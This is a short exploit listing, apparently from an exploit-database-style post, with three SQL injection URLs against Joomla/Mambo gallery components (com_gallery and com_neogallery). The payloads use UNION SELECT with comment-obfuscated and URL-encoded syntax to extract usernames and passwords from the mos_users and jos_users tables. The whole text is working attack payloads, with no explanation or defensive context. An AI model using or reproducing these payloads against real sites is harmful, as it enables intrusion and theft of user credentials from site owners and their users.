EXPLOIT 1 :

index.php?option=com_gallery&Itemid=0&func=detail&id=-99999/**/union/**/select/**/0,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username/**/from/**/mos_users/*


EXPLOİT 2 :

index.php?option=com_gallery&Itemid=0&func=detail&id=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2Cpassword%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2Cusername%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users

EXPLOIT :

index.php?option=com_neogallery&task=show&Itemid=5&catid=999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from%2F%2A%2A%2Fjos_users